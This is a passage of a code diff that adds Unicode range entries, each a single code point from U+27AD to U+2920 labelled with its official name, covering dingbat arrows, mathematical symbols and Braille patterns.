+ [0x27ad, 0x27ad], /* HEAVY LOWER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW (HEAVY LOWER RIGHT-SHADOWED WHITE RIGHT ARROW) */
+ [0x27ae, 0x27ae], /* HEAVY UPPER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW (HEAVY UPPER RIGHT-SHADOWED WHITE RIGHT ARROW) */
+ [0x27af, 0x27af], /* NOTCHED LOWER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW (NOTCHED LOWER RIGHT-SHADOWED WHITE RIGHT ARROW) */
+ [0x27b0, 0x27b0], /* CURLY LOOP */
+ [0x27b1, 0x27b1], /* NOTCHED UPPER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW (NOTCHED UPPER RIGHT-SHADOWED WHITE RIGHT ARROW) */
+ [0x27b2, 0x27b2], /* CIRCLED HEAVY WHITE RIGHTWARDS ARROW (CIRCLED HEAVY WHITE RIGHT ARROW) */
+ [0x27b3, 0x27b3], /* WHITE-FEATHERED RIGHTWARDS ARROW (WHITE-FEATHERED RIGHT ARROW) */
+ [0x27b4, 0x27b4], /* BLACK-FEATHERED SOUTH EAST ARROW (BLACK-FEATHERED LOWER RIGHT ARROW) */
+ [0x27b5, 0x27b5], /* BLACK-FEATHERED RIGHTWARDS ARROW (BLACK-FEATHERED RIGHT ARROW) */
+ [0x27b6, 0x27b6], /* BLACK-FEATHERED NORTH EAST ARROW (BLACK-FEATHERED UPPER RIGHT ARROW) */
+ [0x27b7, 0x27b7], /* HEAVY BLACK-FEATHERED SOUTH EAST ARROW (HEAVY BLACK-FEATHERED LOWER RIGHT ARROW) */
+ [0x27b8, 0x27b8], /* HEAVY BLACK-FEATHERED RIGHTWARDS ARROW (HEAVY BLACK-FEATHERED RIGHT ARROW) */
+ [0x27b9, 0x27b9], /* HEAVY BLACK-FEATHERED NORTH EAST ARROW (HEAVY BLACK-FEATHERED UPPER RIGHT ARROW) */
+ [0x27ba, 0x27ba], /* TEARDROP-BARBED RIGHTWARDS ARROW (TEARDROP-BARBED RIGHT ARROW) */
+ [0x27bb, 0x27bb], /* HEAVY TEARDROP-SHANKED RIGHTWARDS ARROW (HEAVY TEARDROP-SHANKED RIGHT ARROW) */
+ [0x27bc, 0x27bc], /* WEDGE-TAILED RIGHTWARDS ARROW (WEDGE-TAILED RIGHT ARROW) */
+ [0x27bd, 0x27bd], /* HEAVY WEDGE-TAILED RIGHTWARDS ARROW (HEAVY WEDGE-TAILED RIGHT ARROW) */
+ [0x27be, 0x27be], /* OPEN-OUTLINED RIGHTWARDS ARROW (OPEN-OUTLINED RIGHT ARROW) */
+ [0x27bf, 0x27bf], /* DOUBLE CURLY LOOP */
+ [0x27c0, 0x27c0], /* THREE DIMENSIONAL ANGLE */
+ [0x27c1, 0x27c1], /* WHITE TRIANGLE CONTAINING SMALL WHITE TRIANGLE */
+ [0x27c2, 0x27c2], /* PERPENDICULAR */
+ [0x27c3, 0x27c3], /* OPEN SUBSET */
+ [0x27c4, 0x27c4], /* OPEN SUPERSET */
+ [0x27c5, 0x27c5], /* LEFT S-SHAPED BAG DELIMITER */
+ [0x27c6, 0x27c6], /* RIGHT S-SHAPED BAG DELIMITER */
+ [0x27c7, 0x27c7], /* OR WITH DOT INSIDE */
+ [0x27c8, 0x27c8], /* REVERSE SOLIDUS PRECEDING SUBSET */
+ [0x27c9, 0x27c9], /* SUPERSET PRECEDING SOLIDUS */
+ [0x27ca, 0x27ca], /* VERTICAL BAR WITH HORIZONTAL STROKE */
+ [0x27cb, 0x27cb], /* MATHEMATICAL RISING DIAGONAL */
+ [0x27cc, 0x27cc], /* LONG DIVISION */
+ [0x27cd, 0x27cd], /* MATHEMATICAL FALLING DIAGONAL */
+ [0x27ce, 0x27ce], /* SQUARED LOGICAL AND */
+ [0x27cf, 0x27cf], /* SQUARED LOGICAL OR */
+ [0x27d0, 0x27d0], /* WHITE DIAMOND WITH CENTRED DOT */
+ [0x27d1, 0x27d1], /* AND WITH DOT */
+ [0x27d2, 0x27d2], /* ELEMENT OF OPENING UPWARDS */
+ [0x27d3, 0x27d3], /* LOWER RIGHT CORNER WITH DOT */
+ [0x27d4, 0x27d4], /* UPPER LEFT CORNER WITH DOT */
+ [0x27d5, 0x27d5], /* LEFT OUTER JOIN */
+ [0x27d6, 0x27d6], /* RIGHT OUTER JOIN */
+ [0x27d7, 0x27d7], /* FULL OUTER JOIN */
+ [0x27d8, 0x27d8], /* LARGE UP TACK */
+ [0x27d9, 0x27d9], /* LARGE DOWN TACK */
+ [0x27da, 0x27da], /* LEFT AND RIGHT DOUBLE TURNSTILE */
+ [0x27db, 0x27db], /* LEFT AND RIGHT TACK */
+ [0x27dc, 0x27dc], /* LEFT MULTIMAP */
+ [0x27dd, 0x27dd], /* LONG RIGHT TACK */
+ [0x27de, 0x27de], /* LONG LEFT TACK */
+ [0x27df, 0x27df], /* UP TACK WITH CIRCLE ABOVE */
+ [0x27e0, 0x27e0], /* LOZENGE DIVIDED BY HORIZONTAL RULE */
+ [0x27e1, 0x27e1], /* WHITE CONCAVE-SIDED DIAMOND */
+ [0x27e2, 0x27e2], /* WHITE CONCAVE-SIDED DIAMOND WITH LEFTWARDS TICK */
+ [0x27e3, 0x27e3], /* WHITE CONCAVE-SIDED DIAMOND WITH RIGHTWARDS TICK */
+ [0x27e4, 0x27e4], /* WHITE SQUARE WITH LEFTWARDS TICK */
+ [0x27e5, 0x27e5], /* WHITE SQUARE WITH RIGHTWARDS TICK */
+ [0x27e6, 0x27e6], /* MATHEMATICAL LEFT WHITE SQUARE BRACKET */
+ [0x27e7, 0x27e7], /* MATHEMATICAL RIGHT WHITE SQUARE BRACKET */
+ [0x27e8, 0x27e8], /* MATHEMATICAL LEFT ANGLE BRACKET */
+ [0x27e9, 0x27e9], /* MATHEMATICAL RIGHT ANGLE BRACKET */
+ [0x27ea, 0x27ea], /* MATHEMATICAL LEFT DOUBLE ANGLE BRACKET */
+ [0x27eb, 0x27eb], /* MATHEMATICAL RIGHT DOUBLE ANGLE BRACKET */
+ [0x27ec, 0x27ec], /* MATHEMATICAL LEFT WHITE TORTOISE SHELL BRACKET */
+ [0x27ed, 0x27ed], /* MATHEMATICAL RIGHT WHITE TORTOISE SHELL BRACKET */
+ [0x27ee, 0x27ee], /* MATHEMATICAL LEFT FLATTENED PARENTHESIS */
+ [0x27ef, 0x27ef], /* MATHEMATICAL RIGHT FLATTENED PARENTHESIS */
+ [0x27f0, 0x27f0], /* UPWARDS QUADRUPLE ARROW */
+ [0x27f1, 0x27f1], /* DOWNWARDS QUADRUPLE ARROW */
+ [0x27f2, 0x27f2], /* ANTICLOCKWISE GAPPED CIRCLE ARROW */
+ [0x27f3, 0x27f3], /* CLOCKWISE GAPPED CIRCLE ARROW */
+ [0x27f4, 0x27f4], /* RIGHT ARROW WITH CIRCLED PLUS */
+ [0x27f5, 0x27f5], /* LONG LEFTWARDS ARROW */
+ [0x27f6, 0x27f6], /* LONG RIGHTWARDS ARROW */
+ [0x27f7, 0x27f7], /* LONG LEFT RIGHT ARROW */
+ [0x27f8, 0x27f8], /* LONG LEFTWARDS DOUBLE ARROW */
+ [0x27f9, 0x27f9], /* LONG RIGHTWARDS DOUBLE ARROW */
+ [0x27fa, 0x27fa], /* LONG LEFT RIGHT DOUBLE ARROW */
+ [0x27fb, 0x27fb], /* LONG LEFTWARDS ARROW FROM BAR */
+ [0x27fc, 0x27fc], /* LONG RIGHTWARDS ARROW FROM BAR */
+ [0x27fd, 0x27fd], /* LONG LEFTWARDS DOUBLE ARROW FROM BAR */
+ [0x27fe, 0x27fe], /* LONG RIGHTWARDS DOUBLE ARROW FROM BAR */
+ [0x27ff, 0x27ff], /* LONG RIGHTWARDS SQUIGGLE ARROW */
+ [0x2800, 0x2800], /* BRAILLE PATTERN BLANK */
+ [0x2801, 0x2801], /* BRAILLE PATTERN DOTS-1 */
+ [0x2802, 0x2802], /* BRAILLE PATTERN DOTS-2 */
+ [0x2803, 0x2803], /* BRAILLE PATTERN DOTS-12 */
+ [0x2804, 0x2804], /* BRAILLE PATTERN DOTS-3 */
+ [0x2805, 0x2805], /* BRAILLE PATTERN DOTS-13 */
+ [0x2806, 0x2806], /* BRAILLE PATTERN DOTS-23 */
+ [0x2807, 0x2807], /* BRAILLE PATTERN DOTS-123 */
+ [0x2808, 0x2808], /* BRAILLE PATTERN DOTS-4 */
+ [0x2809, 0x2809], /* BRAILLE PATTERN DOTS-14 */
+ [0x280a, 0x280a], /* BRAILLE PATTERN DOTS-24 */
+ [0x280b, 0x280b], /* BRAILLE PATTERN DOTS-124 */
+ [0x280c, 0x280c], /* BRAILLE PATTERN DOTS-34 */
+ [0x280d, 0x280d], /* BRAILLE PATTERN DOTS-134 */
+ [0x280e, 0x280e], /* BRAILLE PATTERN DOTS-234 */
+ [0x280f, 0x280f], /* BRAILLE PATTERN DOTS-1234 */
+ [0x2810, 0x2810], /* BRAILLE PATTERN DOTS-5 */
+ [0x2811, 0x2811], /* BRAILLE PATTERN DOTS-15 */
+ [0x2812, 0x2812], /* BRAILLE PATTERN DOTS-25 */
+ [0x2813, 0x2813], /* BRAILLE PATTERN DOTS-125 */
+ [0x2814, 0x2814], /* BRAILLE PATTERN DOTS-35 */
+ [0x2815, 0x2815], /* BRAILLE PATTERN DOTS-135 */
+ [0x2816, 0x2816], /* BRAILLE PATTERN DOTS-235 */
+ [0x2817, 0x2817], /* BRAILLE PATTERN DOTS-1235 */
+ [0x2818, 0x2818], /* BRAILLE PATTERN DOTS-45 */
+ [0x2819, 0x2819], /* BRAILLE PATTERN DOTS-145 */
+ [0x281a, 0x281a], /* BRAILLE PATTERN DOTS-245 */
+ [0x281b, 0x281b], /* BRAILLE PATTERN DOTS-1245 */
+ [0x281c, 0x281c], /* BRAILLE PATTERN DOTS-345 */
+ [0x281d, 0x281d], /* BRAILLE PATTERN DOTS-1345 */
+ [0x281e, 0x281e], /* BRAILLE PATTERN DOTS-2345 */
+ [0x281f, 0x281f], /* BRAILLE PATTERN DOTS-12345 */
+ [0x2820, 0x2820], /* BRAILLE PATTERN DOTS-6 */
+ [0x2821, 0x2821], /* BRAILLE PATTERN DOTS-16 */
+ [0x2822, 0x2822], /* BRAILLE PATTERN DOTS-26 */
+ [0x2823, 0x2823], /* BRAILLE PATTERN DOTS-126 */
+ [0x2824, 0x2824], /* BRAILLE PATTERN DOTS-36 */
+ [0x2825, 0x2825], /* BRAILLE PATTERN DOTS-136 */
+ [0x2826, 0x2826], /* BRAILLE PATTERN DOTS-236 */
+ [0x2827, 0x2827], /* BRAILLE PATTERN DOTS-1236 */
+ [0x2828, 0x2828], /* BRAILLE PATTERN DOTS-46 */
+ [0x2829, 0x2829], /* BRAILLE PATTERN DOTS-146 */
+ [0x282a, 0x282a], /* BRAILLE PATTERN DOTS-246 */
+ [0x282b, 0x282b], /* BRAILLE PATTERN DOTS-1246 */
+ [0x282c, 0x282c], /* BRAILLE PATTERN DOTS-346 */
+ [0x282d, 0x282d], /* BRAILLE PATTERN DOTS-1346 */
+ [0x282e, 0x282e], /* BRAILLE PATTERN DOTS-2346 */
+ [0x282f, 0x282f], /* BRAILLE PATTERN DOTS-12346 */
+ [0x2830, 0x2830], /* BRAILLE PATTERN DOTS-56 */
+ [0x2831, 0x2831], /* BRAILLE PATTERN DOTS-156 */
+ [0x2832, 0x2832], /* BRAILLE PATTERN DOTS-256 */
+ [0x2833, 0x2833], /* BRAILLE PATTERN DOTS-1256 */
+ [0x2834, 0x2834], /* BRAILLE PATTERN DOTS-356 */
+ [0x2835, 0x2835], /* BRAILLE PATTERN DOTS-1356 */
+ [0x2836, 0x2836], /* BRAILLE PATTERN DOTS-2356 */
+ [0x2837, 0x2837], /* BRAILLE PATTERN DOTS-12356 */
+ [0x2838, 0x2838], /* BRAILLE PATTERN DOTS-456 */
+ [0x2839, 0x2839], /* BRAILLE PATTERN DOTS-1456 */
+ [0x283a, 0x283a], /* BRAILLE PATTERN DOTS-2456 */
+ [0x283b, 0x283b], /* BRAILLE PATTERN DOTS-12456 */
+ [0x283c, 0x283c], /* BRAILLE PATTERN DOTS-3456 */
+ [0x283d, 0x283d], /* BRAILLE PATTERN DOTS-13456 */
+ [0x283e, 0x283e], /* BRAILLE PATTERN DOTS-23456 */
+ [0x283f, 0x283f], /* BRAILLE PATTERN DOTS-123456 */
+ [0x2840, 0x2840], /* BRAILLE PATTERN DOTS-7 */
+ [0x2841, 0x2841], /* BRAILLE PATTERN DOTS-17 */
+ [0x2842, 0x2842], /* BRAILLE PATTERN DOTS-27 */
+ [0x2843, 0x2843], /* BRAILLE PATTERN DOTS-127 */
+ [0x2844, 0x2844], /* BRAILLE PATTERN DOTS-37 */
+ [0x2845, 0x2845], /* BRAILLE PATTERN DOTS-137 */
+ [0x2846, 0x2846], /* BRAILLE PATTERN DOTS-237 */
+ [0x2847, 0x2847], /* BRAILLE PATTERN DOTS-1237 */
+ [0x2848, 0x2848], /* BRAILLE PATTERN DOTS-47 */
+ [0x2849, 0x2849], /* BRAILLE PATTERN DOTS-147 */
+ [0x284a, 0x284a], /* BRAILLE PATTERN DOTS-247 */
+ [0x284b, 0x284b], /* BRAILLE PATTERN DOTS-1247 */
+ [0x284c, 0x284c], /* BRAILLE PATTERN DOTS-347 */
+ [0x284d, 0x284d], /* BRAILLE PATTERN DOTS-1347 */
+ [0x284e, 0x284e], /* BRAILLE PATTERN DOTS-2347 */
+ [0x284f, 0x284f], /* BRAILLE PATTERN DOTS-12347 */
+ [0x2850, 0x2850], /* BRAILLE PATTERN DOTS-57 */
+ [0x2851, 0x2851], /* BRAILLE PATTERN DOTS-157 */
+ [0x2852, 0x2852], /* BRAILLE PATTERN DOTS-257 */
+ [0x2853, 0x2853], /* BRAILLE PATTERN DOTS-1257 */
+ [0x2854, 0x2854], /* BRAILLE PATTERN DOTS-357 */
+ [0x2855, 0x2855], /* BRAILLE PATTERN DOTS-1357 */
+ [0x2856, 0x2856], /* BRAILLE PATTERN DOTS-2357 */
+ [0x2857, 0x2857], /* BRAILLE PATTERN DOTS-12357 */
+ [0x2858, 0x2858], /* BRAILLE PATTERN DOTS-457 */
+ [0x2859, 0x2859], /* BRAILLE PATTERN DOTS-1457 */
+ [0x285a, 0x285a], /* BRAILLE PATTERN DOTS-2457 */
+ [0x285b, 0x285b], /* BRAILLE PATTERN DOTS-12457 */
+ [0x285c, 0x285c], /* BRAILLE PATTERN DOTS-3457 */
+ [0x285d, 0x285d], /* BRAILLE PATTERN DOTS-13457 */
+ [0x285e, 0x285e], /* BRAILLE PATTERN DOTS-23457 */
+ [0x285f, 0x285f], /* BRAILLE PATTERN DOTS-123457 */
+ [0x2860, 0x2860], /* BRAILLE PATTERN DOTS-67 */
+ [0x2861, 0x2861], /* BRAILLE PATTERN DOTS-167 */
+ [0x2862, 0x2862], /* BRAILLE PATTERN DOTS-267 */
+ [0x2863, 0x2863], /* BRAILLE PATTERN DOTS-1267 */
+ [0x2864, 0x2864], /* BRAILLE PATTERN DOTS-367 */
+ [0x2865, 0x2865], /* BRAILLE PATTERN DOTS-1367 */
+ [0x2866, 0x2866], /* BRAILLE PATTERN DOTS-2367 */
+ [0x2867, 0x2867], /* BRAILLE PATTERN DOTS-12367 */
+ [0x2868, 0x2868], /* BRAILLE PATTERN DOTS-467 */
+ [0x2869, 0x2869], /* BRAILLE PATTERN DOTS-1467 */
+ [0x286a, 0x286a], /* BRAILLE PATTERN DOTS-2467 */
+ [0x286b, 0x286b], /* BRAILLE PATTERN DOTS-12467 */
+ [0x286c, 0x286c], /* BRAILLE PATTERN DOTS-3467 */
+ [0x286d, 0x286d], /* BRAILLE PATTERN DOTS-13467 */
+ [0x286e, 0x286e], /* BRAILLE PATTERN DOTS-23467 */
+ [0x286f, 0x286f], /* BRAILLE PATTERN DOTS-123467 */
+ [0x2870, 0x2870], /* BRAILLE PATTERN DOTS-567 */
+ [0x2871, 0x2871], /* BRAILLE PATTERN DOTS-1567 */
+ [0x2872, 0x2872], /* BRAILLE PATTERN DOTS-2567 */
+ [0x2873, 0x2873], /* BRAILLE PATTERN DOTS-12567 */
+ [0x2874, 0x2874], /* BRAILLE PATTERN DOTS-3567 */
+ [0x2875, 0x2875], /* BRAILLE PATTERN DOTS-13567 */
+ [0x2876, 0x2876], /* BRAILLE PATTERN DOTS-23567 */
+ [0x2877, 0x2877], /* BRAILLE PATTERN DOTS-123567 */
+ [0x2878, 0x2878], /* BRAILLE PATTERN DOTS-4567 */
+ [0x2879, 0x2879], /* BRAILLE PATTERN DOTS-14567 */
+ [0x287a, 0x287a], /* BRAILLE PATTERN DOTS-24567 */
+ [0x287b, 0x287b], /* BRAILLE PATTERN DOTS-124567 */
+ [0x287c, 0x287c], /* BRAILLE PATTERN DOTS-34567 */
+ [0x287d, 0x287d], /* BRAILLE PATTERN DOTS-134567 */
+ [0x287e, 0x287e], /* BRAILLE PATTERN DOTS-234567 */
+ [0x287f, 0x287f], /* BRAILLE PATTERN DOTS-1234567 */
+ [0x2880, 0x2880], /* BRAILLE PATTERN DOTS-8 */
+ [0x2881, 0x2881], /* BRAILLE PATTERN DOTS-18 */
+ [0x2882, 0x2882], /* BRAILLE PATTERN DOTS-28 */
+ [0x2883, 0x2883], /* BRAILLE PATTERN DOTS-128 */
+ [0x2884, 0x2884], /* BRAILLE PATTERN DOTS-38 */
+ [0x2885, 0x2885], /* BRAILLE PATTERN DOTS-138 */
+ [0x2886, 0x2886], /* BRAILLE PATTERN DOTS-238 */
+ [0x2887, 0x2887], /* BRAILLE PATTERN DOTS-1238 */
+ [0x2888, 0x2888], /* BRAILLE PATTERN DOTS-48 */
+ [0x2889, 0x2889], /* BRAILLE PATTERN DOTS-148 */
+ [0x288a, 0x288a], /* BRAILLE PATTERN DOTS-248 */
+ [0x288b, 0x288b], /* BRAILLE PATTERN DOTS-1248 */
+ [0x288c, 0x288c], /* BRAILLE PATTERN DOTS-348 */
+ [0x288d, 0x288d], /* BRAILLE PATTERN DOTS-1348 */
+ [0x288e, 0x288e], /* BRAILLE PATTERN DOTS-2348 */
+ [0x288f, 0x288f], /* BRAILLE PATTERN DOTS-12348 */
+ [0x2890, 0x2890], /* BRAILLE PATTERN DOTS-58 */
+ [0x2891, 0x2891], /* BRAILLE PATTERN DOTS-158 */
+ [0x2892, 0x2892], /* BRAILLE PATTERN DOTS-258 */
+ [0x2893, 0x2893], /* BRAILLE PATTERN DOTS-1258 */
+ [0x2894, 0x2894], /* BRAILLE PATTERN DOTS-358 */
+ [0x2895, 0x2895], /* BRAILLE PATTERN DOTS-1358 */
+ [0x2896, 0x2896], /* BRAILLE PATTERN DOTS-2358 */
+ [0x2897, 0x2897], /* BRAILLE PATTERN DOTS-12358 */
+ [0x2898, 0x2898], /* BRAILLE PATTERN DOTS-458 */
+ [0x2899, 0x2899], /* BRAILLE PATTERN DOTS-1458 */
+ [0x289a, 0x289a], /* BRAILLE PATTERN DOTS-2458 */
+ [0x289b, 0x289b], /* BRAILLE PATTERN DOTS-12458 */
+ [0x289c, 0x289c], /* BRAILLE PATTERN DOTS-3458 */
+ [0x289d, 0x289d], /* BRAILLE PATTERN DOTS-13458 */
+ [0x289e, 0x289e], /* BRAILLE PATTERN DOTS-23458 */
+ [0x289f, 0x289f], /* BRAILLE PATTERN DOTS-123458 */
+ [0x28a0, 0x28a0], /* BRAILLE PATTERN DOTS-68 */
+ [0x28a1, 0x28a1], /* BRAILLE PATTERN DOTS-168 */
+ [0x28a2, 0x28a2], /* BRAILLE PATTERN DOTS-268 */
+ [0x28a3, 0x28a3], /* BRAILLE PATTERN DOTS-1268 */
+ [0x28a4, 0x28a4], /* BRAILLE PATTERN DOTS-368 */
+ [0x28a5, 0x28a5], /* BRAILLE PATTERN DOTS-1368 */
+ [0x28a6, 0x28a6], /* BRAILLE PATTERN DOTS-2368 */
+ [0x28a7, 0x28a7], /* BRAILLE PATTERN DOTS-12368 */
+ [0x28a8, 0x28a8], /* BRAILLE PATTERN DOTS-468 */
+ [0x28a9, 0x28a9], /* BRAILLE PATTERN DOTS-1468 */
+ [0x28aa, 0x28aa], /* BRAILLE PATTERN DOTS-2468 */
+ [0x28ab, 0x28ab], /* BRAILLE PATTERN DOTS-12468 */
+ [0x28ac, 0x28ac], /* BRAILLE PATTERN DOTS-3468 */
+ [0x28ad, 0x28ad], /* BRAILLE PATTERN DOTS-13468 */
+ [0x28ae, 0x28ae], /* BRAILLE PATTERN DOTS-23468 */
+ [0x28af, 0x28af], /* BRAILLE PATTERN DOTS-123468 */
+ [0x28b0, 0x28b0], /* BRAILLE PATTERN DOTS-568 */
+ [0x28b1, 0x28b1], /* BRAILLE PATTERN DOTS-1568 */
+ [0x28b2, 0x28b2], /* BRAILLE PATTERN DOTS-2568 */
+ [0x28b3, 0x28b3], /* BRAILLE PATTERN DOTS-12568 */
+ [0x28b4, 0x28b4], /* BRAILLE PATTERN DOTS-3568 */
+ [0x28b5, 0x28b5], /* BRAILLE PATTERN DOTS-13568 */
+ [0x28b6, 0x28b6], /* BRAILLE PATTERN DOTS-23568 */
+ [0x28b7, 0x28b7], /* BRAILLE PATTERN DOTS-123568 */
+ [0x28b8, 0x28b8], /* BRAILLE PATTERN DOTS-4568 */
+ [0x28b9, 0x28b9], /* BRAILLE PATTERN DOTS-14568 */
+ [0x28ba, 0x28ba], /* BRAILLE PATTERN DOTS-24568 */
+ [0x28bb, 0x28bb], /* BRAILLE PATTERN DOTS-124568 */
+ [0x28bc, 0x28bc], /* BRAILLE PATTERN DOTS-34568 */
+ [0x28bd, 0x28bd], /* BRAILLE PATTERN DOTS-134568 */
+ [0x28be, 0x28be], /* BRAILLE PATTERN DOTS-234568 */
+ [0x28bf, 0x28bf], /* BRAILLE PATTERN DOTS-1234568 */
+ [0x28c0, 0x28c0], /* BRAILLE PATTERN DOTS-78 */
+ [0x28c1, 0x28c1], /* BRAILLE PATTERN DOTS-178 */
+ [0x28c2, 0x28c2], /* BRAILLE PATTERN DOTS-278 */
+ [0x28c3, 0x28c3], /* BRAILLE PATTERN DOTS-1278 */
+ [0x28c4, 0x28c4], /* BRAILLE PATTERN DOTS-378 */
+ [0x28c5, 0x28c5], /* BRAILLE PATTERN DOTS-1378 */
+ [0x28c6, 0x28c6], /* BRAILLE PATTERN DOTS-2378 */
+ [0x28c7, 0x28c7], /* BRAILLE PATTERN DOTS-12378 */
+ [0x28c8, 0x28c8], /* BRAILLE PATTERN DOTS-478 */
+ [0x28c9, 0x28c9], /* BRAILLE PATTERN DOTS-1478 */
+ [0x28ca, 0x28ca], /* BRAILLE PATTERN DOTS-2478 */
+ [0x28cb, 0x28cb], /* BRAILLE PATTERN DOTS-12478 */
+ [0x28cc, 0x28cc], /* BRAILLE PATTERN DOTS-3478 */
+ [0x28cd, 0x28cd], /* BRAILLE PATTERN DOTS-13478 */
+ [0x28ce, 0x28ce], /* BRAILLE PATTERN DOTS-23478 */
+ [0x28cf, 0x28cf], /* BRAILLE PATTERN DOTS-123478 */
+ [0x28d0, 0x28d0], /* BRAILLE PATTERN DOTS-578 */
+ [0x28d1, 0x28d1], /* BRAILLE PATTERN DOTS-1578 */
+ [0x28d2, 0x28d2], /* BRAILLE PATTERN DOTS-2578 */
+ [0x28d3, 0x28d3], /* BRAILLE PATTERN DOTS-12578 */
+ [0x28d4, 0x28d4], /* BRAILLE PATTERN DOTS-3578 */
+ [0x28d5, 0x28d5], /* BRAILLE PATTERN DOTS-13578 */
+ [0x28d6, 0x28d6], /* BRAILLE PATTERN DOTS-23578 */
+ [0x28d7, 0x28d7], /* BRAILLE PATTERN DOTS-123578 */
+ [0x28d8, 0x28d8], /* BRAILLE PATTERN DOTS-4578 */
+ [0x28d9, 0x28d9], /* BRAILLE PATTERN DOTS-14578 */
+ [0x28da, 0x28da], /* BRAILLE PATTERN DOTS-24578 */
+ [0x28db, 0x28db], /* BRAILLE PATTERN DOTS-124578 */
+ [0x28dc, 0x28dc], /* BRAILLE PATTERN DOTS-34578 */
+ [0x28dd, 0x28dd], /* BRAILLE PATTERN DOTS-134578 */
+ [0x28de, 0x28de], /* BRAILLE PATTERN DOTS-234578 */
+ [0x28df, 0x28df], /* BRAILLE PATTERN DOTS-1234578 */
+ [0x28e0, 0x28e0], /* BRAILLE PATTERN DOTS-678 */
+ [0x28e1, 0x28e1], /* BRAILLE PATTERN DOTS-1678 */
+ [0x28e2, 0x28e2], /* BRAILLE PATTERN DOTS-2678 */
+ [0x28e3, 0x28e3], /* BRAILLE PATTERN DOTS-12678 */
+ [0x28e4, 0x28e4], /* BRAILLE PATTERN DOTS-3678 */
+ [0x28e5, 0x28e5], /* BRAILLE PATTERN DOTS-13678 */
+ [0x28e6, 0x28e6], /* BRAILLE PATTERN DOTS-23678 */
+ [0x28e7, 0x28e7], /* BRAILLE PATTERN DOTS-123678 */
+ [0x28e8, 0x28e8], /* BRAILLE PATTERN DOTS-4678 */
+ [0x28e9, 0x28e9], /* BRAILLE PATTERN DOTS-14678 */
+ [0x28ea, 0x28ea], /* BRAILLE PATTERN DOTS-24678 */
+ [0x28eb, 0x28eb], /* BRAILLE PATTERN DOTS-124678 */
+ [0x28ec, 0x28ec], /* BRAILLE PATTERN DOTS-34678 */
+ [0x28ed, 0x28ed], /* BRAILLE PATTERN DOTS-134678 */
+ [0x28ee, 0x28ee], /* BRAILLE PATTERN DOTS-234678 */
+ [0x28ef, 0x28ef], /* BRAILLE PATTERN DOTS-1234678 */
+ [0x28f0, 0x28f0], /* BRAILLE PATTERN DOTS-5678 */
+ [0x28f1, 0x28f1], /* BRAILLE PATTERN DOTS-15678 */
+ [0x28f2, 0x28f2], /* BRAILLE PATTERN DOTS-25678 */
+ [0x28f3, 0x28f3], /* BRAILLE PATTERN DOTS-125678 */
+ [0x28f4, 0x28f4], /* BRAILLE PATTERN DOTS-35678 */
+ [0x28f5, 0x28f5], /* BRAILLE PATTERN DOTS-135678 */
+ [0x28f6, 0x28f6], /* BRAILLE PATTERN DOTS-235678 */
+ [0x28f7, 0x28f7], /* BRAILLE PATTERN DOTS-1235678 */
+ [0x28f8, 0x28f8], /* BRAILLE PATTERN DOTS-45678 */
+ [0x28f9, 0x28f9], /* BRAILLE PATTERN DOTS-145678 */
+ [0x28fa, 0x28fa], /* BRAILLE PATTERN DOTS-245678 */
+ [0x28fb, 0x28fb], /* BRAILLE PATTERN DOTS-1245678 */
+ [0x28fc, 0x28fc], /* BRAILLE PATTERN DOTS-345678 */
+ [0x28fd, 0x28fd], /* BRAILLE PATTERN DOTS-1345678 */
+ [0x28fe, 0x28fe], /* BRAILLE PATTERN DOTS-2345678 */
+ [0x28ff, 0x28ff], /* BRAILLE PATTERN DOTS-12345678 */
+ [0x2900, 0x2900], /* RIGHTWARDS TWO-HEADED ARROW WITH VERTICAL STROKE */
+ [0x2901, 0x2901], /* RIGHTWARDS TWO-HEADED ARROW WITH DOUBLE VERTICAL STROKE */
+ [0x2902, 0x2902], /* LEFTWARDS DOUBLE ARROW WITH VERTICAL STROKE */
+ [0x2903, 0x2903], /* RIGHTWARDS DOUBLE ARROW WITH VERTICAL STROKE */
+ [0x2904, 0x2904], /* LEFT RIGHT DOUBLE ARROW WITH VERTICAL STROKE */
+ [0x2905, 0x2905], /* RIGHTWARDS TWO-HEADED ARROW FROM BAR */
+ [0x2906, 0x2906], /* LEFTWARDS DOUBLE ARROW FROM BAR */
+ [0x2907, 0x2907], /* RIGHTWARDS DOUBLE ARROW FROM BAR */
+ [0x2908, 0x2908], /* DOWNWARDS ARROW WITH HORIZONTAL STROKE */
+ [0x2909, 0x2909], /* UPWARDS ARROW WITH HORIZONTAL STROKE */
+ [0x290a, 0x290a], /* UPWARDS TRIPLE ARROW */
+ [0x290b, 0x290b], /* DOWNWARDS TRIPLE ARROW */
+ [0x290c, 0x290c], /* LEFTWARDS DOUBLE DASH ARROW */
+ [0x290d, 0x290d], /* RIGHTWARDS DOUBLE DASH ARROW */
+ [0x290e, 0x290e], /* LEFTWARDS TRIPLE DASH ARROW */
+ [0x290f, 0x290f], /* RIGHTWARDS TRIPLE DASH ARROW */
+ [0x2910, 0x2910], /* RIGHTWARDS TWO-HEADED TRIPLE DASH ARROW */
+ [0x2911, 0x2911], /* RIGHTWARDS ARROW WITH DOTTED STEM */
+ [0x2912, 0x2912], /* UPWARDS ARROW TO BAR */
+ [0x2913, 0x2913], /* DOWNWARDS ARROW TO BAR */
+ [0x2914, 0x2914], /* RIGHTWARDS ARROW WITH TAIL WITH VERTICAL STROKE */
+ [0x2915, 0x2915], /* RIGHTWARDS ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE */
+ [0x2916, 0x2916], /* RIGHTWARDS TWO-HEADED ARROW WITH TAIL */
+ [0x2917, 0x2917], /* RIGHTWARDS TWO-HEADED ARROW WITH TAIL WITH VERTICAL STROKE */
+ [0x2918, 0x2918], /* RIGHTWARDS TWO-HEADED ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE */
+ [0x2919, 0x2919], /* LEFTWARDS ARROW-TAIL */
+ [0x291a, 0x291a], /* RIGHTWARDS ARROW-TAIL */
+ [0x291b, 0x291b], /* LEFTWARDS DOUBLE ARROW-TAIL */
+ [0x291c, 0x291c], /* RIGHTWARDS DOUBLE ARROW-TAIL */
+ [0x291d, 0x291d], /* LEFTWARDS ARROW TO BLACK DIAMOND */
+ [0x291e, 0x291e], /* RIGHTWARDS ARROW TO BLACK DIAMOND */
+ [0x291f, 0x291f], /* LEFTWARDS ARROW FROM BAR TO BLACK DIAMOND */
+ [0x2920, 0x2920], /* RIGHTWARDS ARROW FROM BAR TO BLACK DIAMOND */
